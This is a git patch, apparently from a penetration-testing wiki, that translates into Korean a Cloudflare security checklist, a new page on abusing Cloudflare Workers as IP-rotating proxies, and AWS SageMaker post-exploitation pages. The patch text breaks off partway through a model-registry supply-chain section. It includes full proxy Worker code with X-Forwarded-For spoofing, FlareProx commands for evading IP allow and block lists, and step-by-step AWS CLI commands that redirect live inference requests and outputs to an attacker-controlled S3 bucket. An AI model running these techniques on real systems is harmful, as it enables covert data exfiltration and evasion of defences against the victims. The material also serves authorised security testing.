From 1ff6a96a7be19e50ef99ed8e4aba24136a57bd93 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 23 Oct 2025 13:44:42 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers --- .../cloudflare-security/README.md | 82 ++--- ...-workers-pass-through-proxy-ip-rotation.md | 286 ++++++++++++++++++ .../aws-sagemaker-post-exploitation/README.md | 75 +++-- .../feature-store-poisoning.md | 52 ++-- .../aws-sqs-dlq-redrive-exfiltration.md | 98 +++--- 5 files changed, 438 insertions(+), 155 deletions(-) create mode 100644 src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index b5ff67c08..c405d3b8b 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -Cloudflare 계정에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다: +Cloudflare 계정에는 구성할 수 있는 **일반 설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 분석합니다:
## Websites -각 항목을 검토하십시오: +각 항목을 다음과 함께 검토: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] **`Transfer Domains`**에서 어떤 도메인도 전송할 수 없는지 확인하십시오. +- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. -각 항목을 검토하십시오: +각 항목을 다음과 함께 검토: {{#ref}} cloudflare-domains.md @@ -26,39 +26,45 @@ cloudflare-domains.md ## Analytics -_구성 보안 검토를 위한 확인할 사항을 찾을 수 없었습니다._ +_I couldn't find anything to check for a config security review._ ## Pages -각 Cloudflare 페이지에서: +각 Cloudflare Pages에 대해: -- [ ] **`Build log`**에서 **민감한 정보**를 확인하십시오. -- [ ] 페이지에 할당된 **Github repository**에서 **민감한 정보**를 확인하십시오. -- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)에서 확인하십시오. -- [ ] `/fuctions` 디렉토리(있는 경우)에서 **취약한 함수**를 확인하고, `_redirects` 파일(있는 경우)에서 **리디렉션**을 확인하며, `_headers` 파일(있는 경우)에서 **잘못 구성된 헤더**를 확인하십시오. -- [ ] **코드에 접근할 수 있는 경우** **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오. -- [ ] 각 페이지의 세부정보 `//pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하십시오. -- [ ] 세부정보 페이지에서 **빌드 명령**과 **루트 디렉토리**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오. +- [ ] **`Build log`**에서 **민감한 정보**가 있는지 확인하세요. +- [ ] Pages에 연결된 **Github repository**에서 **민감한 정보**가 있는지 확인하세요. +- [ ] **workflow command injection** 또는 `pull_request_target` compromise를 통한 Github repo 탈취 가능성을 확인하세요. 자세한 정보는 [**Github Security page**](../github-security/index.html)를 참조하세요. +- [ ] `/fuctions` 디렉터리(있는 경우)에서 **취약한 함수들**을 확인하고, `_redirects` 파일(있는 경우)의 **redirects**와 `_headers` 파일(있는 경우)의 **misconfigured headers**를 확인하세요. +- [ ] 코드에 접근할 수 있다면 **blackbox** 또는 **whitebox** 방식으로 웹 페이지의 **취약점(vulnerabilities)**을 확인하세요. +- [ ] 각 페이지 상세 `//pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하세요. +- [ ] 상세 페이지에서 **build command**와 **root directory**도 페이지를 탈취할 수 있는 **potential injections** 여부를 확인하세요. ## **Workers** -각 Cloudflare 워커에서 확인하십시오: +각 Cloudflare Workers에 대해 확인하세요: -- [ ] 트리거: 워커를 트리거하는 것은 무엇입니까? **사용자가 데이터를 보낼 수** 있습니까? 이 데이터는 워커에 의해 **사용**됩니까? -- [ ] **`Settings`**에서 **민감한 정보**를 포함하는 **`Variables`**를 확인하십시오. -- [ ] **워커의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서). -- 제어할 수 있는 페이지를 반환하는 SSRF를 확인하십시오. -- svg 이미지 내에서 JS를 실행하는 XSS를 확인하십시오. -- 워커가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, 워커는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, 워커가 R2 버킷에 대해 어떤 기능을 가지고 있으며 사용자의 입력으로부터 어떻게 남용될 수 있는지 확인해야 합니다. +- [ ] 트리거: Worker를 무엇이 트리거하나요? **사용자**가 Worker에 의해 **사용될 데이터**를 전송할 수 있나요? +- [ ] **`Settings`**에서 **`Variables`**에 **민감한 정보**가 포함되어 있는지 확인하세요. +- [ ] Worker의 코드를 검사하고, 특히 사용자가 입력을 제어할 수 있는 부분에서 **취약점**을 찾으세요. +- 제어 가능한 페이지를 반환하는 SSRF 여부를 확인하세요. +- svg 이미지 내부에서 JS를 실행하는 XSS 여부를 확인하세요. +- Worker가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, Worker가 입력에서 얻은 정보를 저장하는 R2 bucket과 상호작용할 수 있습니다. 이 경우 Worker가 R2 bucket에 대해 어떤 권한을 가지고 있는지, 그리고 사용자 입력을 통해 어떻게 남용될 수 있는지 확인해야 합니다. > [!WARNING] -> 기본적으로 **워커는** `..workers.dev`와 같은 URL을 부여받습니다. 사용자는 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다. +> 기본적으로 **Worker에게 URL이 부여**되어 `..workers.dev`와 같은 형태가 됩니다. 사용자가 이를 **서브도메인**으로 설정할 수 있지만, 해당 **원래 URL**을 알고 있다면 항상 그 URL로 접근할 수 있습니다. + +실제 Workers를 pass-through proxy(IP 회전, FireProx 스타일)로 악용하는 방법은 다음을 확인하세요: + +{{#ref}} +cloudflare-workers-pass-through-proxy-ip-rotation.md +{{#endref}} ## R2 -각 R2 버킷에서 확인하십시오: +각 R2 버킷에서 확인할 항목: -- [ ] **CORS 정책**을 구성하십시오. +- [ ] Configure **CORS Policy**. ## Stream @@ -70,8 +76,8 @@ TODO ## Security Center -- [ ] 가능하다면 **`Security Insights`** **스캔**과 **`Infrastructure`** **스캔**을 실행하십시오. 이들은 **보안** 측면에서 흥미로운 정보를 **강조**할 것입니다. -- [ ] 보안 잘못 구성된 정보와 흥미로운 정보를 **확인**하십시오. +- [ ] 가능하면 **`Security Insights`** 스캔과 **`Infrastructure`** 스캔을 실행하세요. 이 스캔들은 보안 관점에서 흥미로운 정보를 강조합니다. +- [ ] 이 정보를 보안 오구성 및 흥미로운 정보 확인을 위해 검토하세요. ## Turnstile @@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)와 달리, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)는 본질적으로 정적입니다 — 문자열 대체 작업이나 정규 표현식을 **지원하지 않습니다**. 그러나 URL 일치 동작 및 런타임 동작에 영향을 미치는 URL 리디렉션 매개변수를 구성할 수 있습니다. +> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. -- [ ] **리디렉션**에 대한 **표현식**과 **요구 사항**이 **합리적인지** 확인하십시오. -- [ ] 또한 **흥미로운 정보**를 포함하는 **민감한 숨겨진 엔드포인트**를 확인하십시오. +- [ ] 리디렉트의 **expressions**와 **requirements**가 타당한지 확인하세요. +- [ ] 또한 흥미로운 정보를 담고 있는 **민감한 숨겨진 엔드포인트**가 있는지 확인하세요. ## Notifications -- [ ] **알림**을 확인하십시오. 이러한 알림은 보안을 위해 권장됩니다: +- [ ] **notifications**를 확인하세요. 보안을 위해 다음 알림들을 권장합니다: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] 모든 **대상**을 확인하십시오. 웹훅 URL에 **민감한 정보**(기본 http 인증)가 있을 수 있습니다. 웹훅 URL이 **HTTPS**를 사용하는지 확인하십시오. -- [ ] 추가 확인으로, **Cloudflare 알림**을 제3자에게 **가장**해 보십시오. 어쩌면 **위험한 것을 주입**할 수 있을지도 모릅니다. +- [ ] 모든 **destinations**를 확인하세요. webhook URL에 **민감한 정보**(basic http auth)가 포함될 수 있습니다. 또한 webhook URL이 **HTTPS**를 사용하는지 확인하세요. +- [ ] 추가 확인으로 제3자에게 **cloudflare 알림을 가장(impersonate)**해보면, 어쩌면 **위험한 무언가를 주입(inject)**할 수 있는지 확인할 수 있습니다. ## Manage Account -- [ ] **`Billing` -> `Payment info`**에서 **신용 카드**의 **마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다. -- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **요금제 유형**을 확인할 수 있습니다. -- [ ] **`Members`**에서 계정의 모든 **구성원**과 그들의 **역할**을 확인할 수 있습니다. 요금제가 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)을 사용하여 최소 권한 원칙을 따를 수 있습니다. -- 따라서 가능할 때마다 **Enterprise 요금제**를 사용하는 것이 **권장됩니다**. -- [ ] 구성원에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화해야 합니다. +- [ ] **`Billing` -> `Payment info`**에서 신용카드의 **마지막 4자리**, **만료일**, **청구 주소**를 볼 수 있습니다. +- [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **plan type**을 확인할 수 있습니다. +- [ ] **`Members`**에서 계정의 모든 멤버와 그들의 **role**을 볼 수 있습니다. 플랜이 Enterprise가 아닌 경우에는 Administrator와 Super Administrator의 2개 역할만 존재합니다. 그러나 사용된 **plan이 Enterprise**인 경우, 최소 권한 원칙을 따르기 위해 [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)를 사용할 수 있습니다. +- 따라서 가능하면 **Enterprise plan** 사용을 권장합니다. +- [ ] Members에서 어떤 멤버가 **2FA가 활성화**되어 있는지 확인할 수 있습니다. **모든** 사용자가 활성화되어야 합니다. > [!NOTE] -> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 수 있는 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가). +> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 권한을 제공하지 않습니다(권한 상승이나 새 멤버 초대 불가). ## DDoS Investigation -[이 부분을 확인하십시오](cloudflare-domains.md#cloudflare-ddos-protection). +[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md new file mode 100644 index 000000000..5b262520f --- /dev/null +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -0,0 +1,286 @@ +# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style) + +{{#include ../../banners/hacktricks-training.md}} + +Cloudflare Workers는 업스트림 대상 URL을 클라이언트가 제공하는 투명한 HTTP 통과형 프록시로 배포될 수 있습니다. 요청은 Cloudflare 네트워크에서 egress되어 대상은 클라이언트 대신 Cloudflare IP를 관찰합니다. 이는 AWS API Gateway의 잘 알려진 FireProx 기법을 모방한 것이지만 Cloudflare Workers를 사용합니다. + +### 주요 기능 +- 모든 HTTP 메서드 지원 (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- 대상은 쿼리 매개변수(?url=...), 헤더(X-Target-URL)로 제공되거나 경로에 인코딩될 수 있음(예: /https://target) +- 헤더와 바디는 필요에 따라 hop-by-hop/헤더 필터링과 함께 프록시됨 +- 상태 코드와 대부분의 헤더를 보존하면서 응답이 중계됨 +- (옵션) Worker가 사용자 제어 헤더에서 X-Forwarded-For를 설정하면 X-Forwarded-For 스푸핑 가능 +- 여러 Worker 엔드포인트를 배포하고 요청을 분산시켜 매우 빠르고 쉽게 회전(로테이션) 가능 + +### 작동 방식 (흐름) +1) 클라이언트가 Worker URL(`..workers.dev` 또는 커스텀 도메인 경로)로 HTTP 요청을 전송합니다. +2) Worker는 쿼리 매개변수(?url=...), X-Target-URL 헤더 또는 구현된 경우 경로 세그먼트에서 대상을 추출합니다. +3) Worker는 문제를 일으킬 수 있는 헤더를 필터링하면서 들어온 메서드, 헤더 및 바디를 지정된 업스트림 URL로 전달합니다. +4) 업스트림 응답은 Cloudflare를 통해 클라이언트로 스트리밍되어 되돌아가며, 오리진은 Cloudflare egress IP를 보게 됩니다. + +### Worker 구현 예 +- 쿼리 파라미터, 헤더 또는 경로에서 대상 URL을 읽음 +- 안전한 서브셋의 헤더를 복사하고 원본 메서드/바디를 전달 +- 옵션으로 사용자 제어 헤더(X-My-X-Forwarded-For) 또는 랜덤 IP를 사용해 X-Forwarded-For 설정 +- 관대 한 CORS를 추가하고 preflight를 처리 + +
+Example Worker (JavaScript) for pass-through proxying +```javascript +/** +* Minimal Worker pass-through proxy +* - Target URL from ?url=, X-Target-URL, or /https://... +* - Proxies method/headers/body to upstream; relays response +*/ +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) + +async function handleRequest(request) { +try { +const url = new URL(request.url) +const targetUrl = getTargetUrl(url, request.headers) + +if (!targetUrl) { +return errorJSON('No target URL specified', 400, { +usage: { +query_param: '?url=https://example.com', +header: 'X-Target-URL: https://example.com', +path: '/https://example.com' +} +}) +} + +let target +try { target = new URL(targetUrl) } catch (e) { +return errorJSON('Invalid target URL', 400, { provided: targetUrl }) +} + +// Forward original query params except control ones +const passthru = new URLSearchParams() +for (const [k, v] of url.searchParams) { +if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v) +} +if (passthru.toString()) target.search = passthru.toString() + +// Build proxied request +const proxyReq = buildProxyRequest(request, target) +const upstream = await fetch(proxyReq) + +return buildProxyResponse(upstream, request.method) +} catch (error) { +return errorJSON('Proxy request failed', 500, { +message: error.message, +timestamp: new Date().toISOString() +}) +} +} + +function getTargetUrl(url, headers) { +let t = url.searchParams.get('url') || headers.get('X-Target-URL') +if (!t && url.pathname !== '/') { +const p = url.pathname.slice(1) +if (p.startsWith('http')) t = p +} +return t +} + +function buildProxyRequest(request, target) { +const h = new Headers() +const allow = [ +'accept','accept-language','accept-encoding','authorization', +'cache-control','content-type','origin','referer','user-agent' +] +for (const [k, v] of request.headers) { +if (allow.includes(k.toLowerCase())) h.set(k, v) +} +h.set('Host', target.hostname) + +// Optional: spoof X-Forwarded-For if provided +const spoof = request.headers.get('X-My-X-Forwarded-For') +h.set('X-Forwarded-For', spoof || randomIP()) + +return new Request(target.toString(), { +method: request.method, +headers: h, +body: ['GET','HEAD'].includes(request.method) ? null : request.body +}) +} + +function buildProxyResponse(resp, method) { +const h = new Headers() +for (const [k, v] of resp.headers) { +if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) { +h.set(k, v) +} +} +// Permissive CORS for tooling convenience +h.set('Access-Control-Allow-Origin', '*') +h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD') +h.set('Access-Control-Allow-Headers', '*') + +if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h }) +return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h }) +} + +function errorJSON(msg, status=400, extra={}) { +return new Response(JSON.stringify({ error: msg, ...extra }), { +status, headers: { 'Content-Type': 'application/json' } +}) +} + +function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') } +``` +
+ +### FlareProx로 배포 및 회전 자동화 + +FlareProx는 Cloudflare API를 사용하여 여러 Worker endpoints를 배포하고 그 사이를 순환시키는 Python 도구입니다. 이를 통해 Cloudflare의 네트워크에서 FireProx와 유사한 IP rotation을 제공합니다. + +Setup +1) "Edit Cloudflare Workers" 템플릿을 사용해 Cloudflare API Token을 생성하고 대시보드에서 Account ID를 가져오세요. +2) FlareProx 구성: +```bash +git clone https://github.com/MrTurvey/flareprox +cd flareprox +pip install -r requirements.txt +``` +**flareprox.json 구성 파일 생성:** +```json +{ +"cloudflare": { +"api_token": "your_cloudflare_api_token", +"account_id": "your_cloudflare_account_id" +} +} +``` +**CLI usage** + +- N개의 Worker proxies 생성: +```bash +python3 flareprox.py create --count 2 +``` +- 엔드포인트 목록: +```bash +python3 flareprox.py list +``` +- 헬스 체크 엔드포인트: +```bash +python3 flareprox.py test +``` +- 모든 endpoints 삭제: +```bash +python3 flareprox.py cleanup +``` +**Worker를 통한 트래픽 라우팅** +- 쿼리 매개변수 형식: +```bash +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" +``` +- 헤더 형식: +```bash +curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev +``` +- 경로 형식 (구현된 경우): +```bash +curl https://your-worker.account.workers.dev/https://httpbin.org/ip +``` +- 방법 예시: +```bash +# GET +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get" + +# POST (form) +curl -X POST -d "username=admin" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/post" + +# PUT (JSON) +curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/put" + +# DELETE +curl -X DELETE \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/delete" +``` +**`X-Forwarded-For` 제어** + +Worker가 `X-My-X-Forwarded-For`를 처리한다면, upstream `X-Forwarded-For` 값을 조작할 수 있습니다: +```bash +curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/headers" +``` +**프로그래밍 방식으로 사용** + +FlareProx 라이브러리를 사용해 엔드포인트를 생성/목록화/테스트하고 Python에서 요청을 라우팅합니다. + +
+Python 예제: 임의의 Worker 엔드포인트를 통해 POST 전송 +```python +#!/usr/bin/env python3 +from flareprox import FlareProx, FlareProxError +import json + +# Initialize +flareprox = FlareProx(config_file="flareprox.json") +if not flareprox.is_configured: +print("FlareProx not configured. Run: python3 flareprox.py config") +exit(1) + +# Ensure endpoints exist +endpoints = flareprox.sync_endpoints() +if not endpoints: +print("Creating proxy endpoints...") +flareprox.create_proxies(count=2) + +# Make a POST request through a random endpoint +try: +post_data = json.dumps({ +"username": "testuser", +"message": "Hello from FlareProx!", +"timestamp": "2025-01-01T12:00:00Z" +}) + +headers = { +"Content-Type": "application/json", +"User-Agent": "FlareProx-Client/1.0" +} + +response = flareprox.redirect_request( +target_url="https://httpbin.org/post", +method="POST", +headers=headers, +data=post_data +) + +if response.status_code == 200: +result = response.json() +print("✓ POST successful via FlareProx") +print(f"Origin IP: {result.get('origin', 'unknown')}") +print(f"Posted data: {result.get('json', {})}") +else: +print(f"Request failed with status: {response.status_code}") + +except FlareProxError as e: +print(f"FlareProx error: {e}") +except Exception as e: +print(f"Request error: {e}") +``` +
+ +**Burp/Scanner 통합** +- 도구(예: Burp Suite)를 Worker URL로 지정하세요. +- 실제 upstream을 ?url= 또는 X-Target-URL로 제공하세요. +- HTTP semantics (methods/headers/body)는 유지되며 소스 IP는 Cloudflare 뒤에 가려집니다. + +**운영 관련 주의사항 및 제한** +- Cloudflare Workers Free plan은 계정당 하루 약 100,000개의 요청을 허용합니다; 필요하면 트래픽 분산을 위해 여러 엔드포인트를 사용하세요. +- Workers는 Cloudflare의 네트워크에서 동작합니다; 많은 대상은 Cloudflare IPs/ASN만 보게 되어 단순한 IP 허용/차단 목록이나 지리적 휴리스틱을 우회할 수 있습니다. +- 책임감 있게, 권한이 있는 경우에만 사용하세요. ToS와 robots.txt를 준수하세요. + +## 참고자료 +- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) +- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/) +- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/) +- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index 2cbf3ecf6..79401403a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker 엔드포인트 데이터 탈취 via UpdateEndpoint DataCaptureConfig +## UpdateEndpoint DataCaptureConfig을 통한 SageMaker 엔드포인트 데이터 가로채기 -SageMaker 엔드포인트 관리를 악용해 모델이나 컨테이너를 건드리지 않고 전체 요청/응답을 공격자가 제어하는 S3 버킷으로 캡처하도록 활성화합니다. 무(또는 저)다운타임 롤링 업데이트를 사용하며 엔드포인트 관리 권한만 필요합니다. +모델이나 container를 건드리지 않고 SageMaker endpoint 관리 기능을 악용하여 공격자 제어 S3 버킷으로 요청/응답을 전부 캡처하도록 설정합니다. 제로/저 다운타임 롤링 업데이트를 사용하며 endpoint 관리 권한만 필요합니다. -### 요구사항 +### 요구 사항 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` - S3: `s3:CreateBucket` (또는 동일한 계정의 기존 버킷 사용) -- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK -- Target: 기존의 동일 계정/리전 내 InService 실시간 엔드포인트 +- 선택 사항 (SSE‑KMS를 사용하는 경우): 선택한 CMK에 대한 `kms:Encrypt` +- 대상: 동일한 계정/리전의 기존 InService real‑time endpoint ### 단계 -1) InService 엔드포인트를 식별하고 현재 production variants를 수집 +1) InService endpoint를 식별하고 현재 production variants를 수집합니다. ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) 캡처를 위한 공격자 S3 대상 준비 +2) 캡처를 위해 attacker S3 destination을 준비 ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화하는 새로운 EndpointConfig를 생성하세요 +3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화한 새로운 EndpointConfig를 생성하세요 -참고: CLI 검증을 만족하는 명시적인 콘텐츠 유형을 사용하세요 +참고: CLI 검증을 통과하는 명시적인 content types를 사용하세요 ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,51 +54,49 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) 롤링 업데이트로 새 설정을 적용합니다 (다운타임 최소/없음) +4) rolling update로 새 config를 적용합니다 (minimal/no downtime) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) 최소 하나의 추론 호출 생성 (라이브 트래픽이 있는 경우 선택 사항) +최소한 하나의 추론 호출을 생성합니다(라이브 트래픽이 존재하는 경우 선택 사항). ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) 공격자 S3에서 캡처 검증 +6) 공격자 S3에서 캡처를 검증 ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` ### 영향 -- 대상 엔드포인트에서 공격자가 제어하는 S3 버킷으로 실시간 추론 요청 및 응답 페이로드(및 메타데이터)를 완전히 유출합니다. -- 모델/컨테이너 이미지에는 변경이 없고 엔드포인트 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로를 제공합니다. - +- 대상 endpoint에서 실시간 inference 요청 및 응답 페이로드(및 메타데이터)를 공격자가 제어하는 S3 버킷으로 완전 유출. +- 모델/container 이미지 변경 없이 endpoint 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로 제공. ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig - -현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정하여 엔드포인트 관리를 악용해 비동기 추론 출력을 공격자가 제어하는 S3 버킷으로 리디렉션합니다. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너에 포함된 변환된 입력)을 유출할 수 있습니다. +Endpoint 관리를 악용하여 현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정해 비동기 추론 출력을 공격자 제어 S3 버킷으로 리다이렉트. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너가 포함한 변형된 입력)을 유출할 수 있음. ### 요구사항 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: 모델 실행 역할이나 관대한 버킷 정책을 통해 공격자가 제어하는 S3 버킷에 쓸 수 있는 권한 -- Target: 비동기 호출이 사용 중(또는 사용될 예정)인 InService 엔드포인트 +- S3: 모델 실행 역할 또는 관대 한 버킷 정책을 통해 공격자 S3 버킷에 쓸 수 있는 권한 +- Target: 비동기 호출이 사용 중이거나 사용될 InService endpoint ### 단계 -1) 대상 엔드포인트에서 현재 ProductionVariants를 수집 +1) 대상 endpoint에서 현재 ProductionVariants 수집 ```bash REGION=${REGION:-us-east-1} EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) 공격자 버킷을 생성하세요 (model execution role이 PutObject할 수 있는지 확인하세요) +2) 공격자 버킷을 생성합니다 (모델 실행 역할이 PutObject를 수행할 수 있는지 확인하세요) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) EndpointConfig를 복제하고 AsyncInference 출력물을 attacker bucket으로 hijack +3) EndpointConfig를 복제하고 AsyncInference 출력을 공격자 버킷으로 탈취 ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +106,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) async invocation을 트리거하고 objects가 attacker S3에 도착하는지 확인 +4) async invocation을 트리거하고 객체들이 공격자 S3에 저장되는지 확인하세요 ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -117,27 +115,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` ### 영향 -- 공격자가 제어하는 S3로 asynchronous inference 결과(및 error bodies)를 리다이렉트하여 predictions 및 컨테이너가 생성하는 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code나 image를 변경하지 않고 최소/무 downtime으로 수행될 수 있습니다. +- 비동기 inference 결과(및 error bodies)를 attacker-controlled S3로 리디렉션하여, 컨테이너가 생성한 predictions 및 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code or image를 변경하지 않고 최소/무 다운타임으로 수행됩니다. -## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) +## SageMaker Model Registry 공급망 주입 via CreateModelPackage(Approved) -If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the 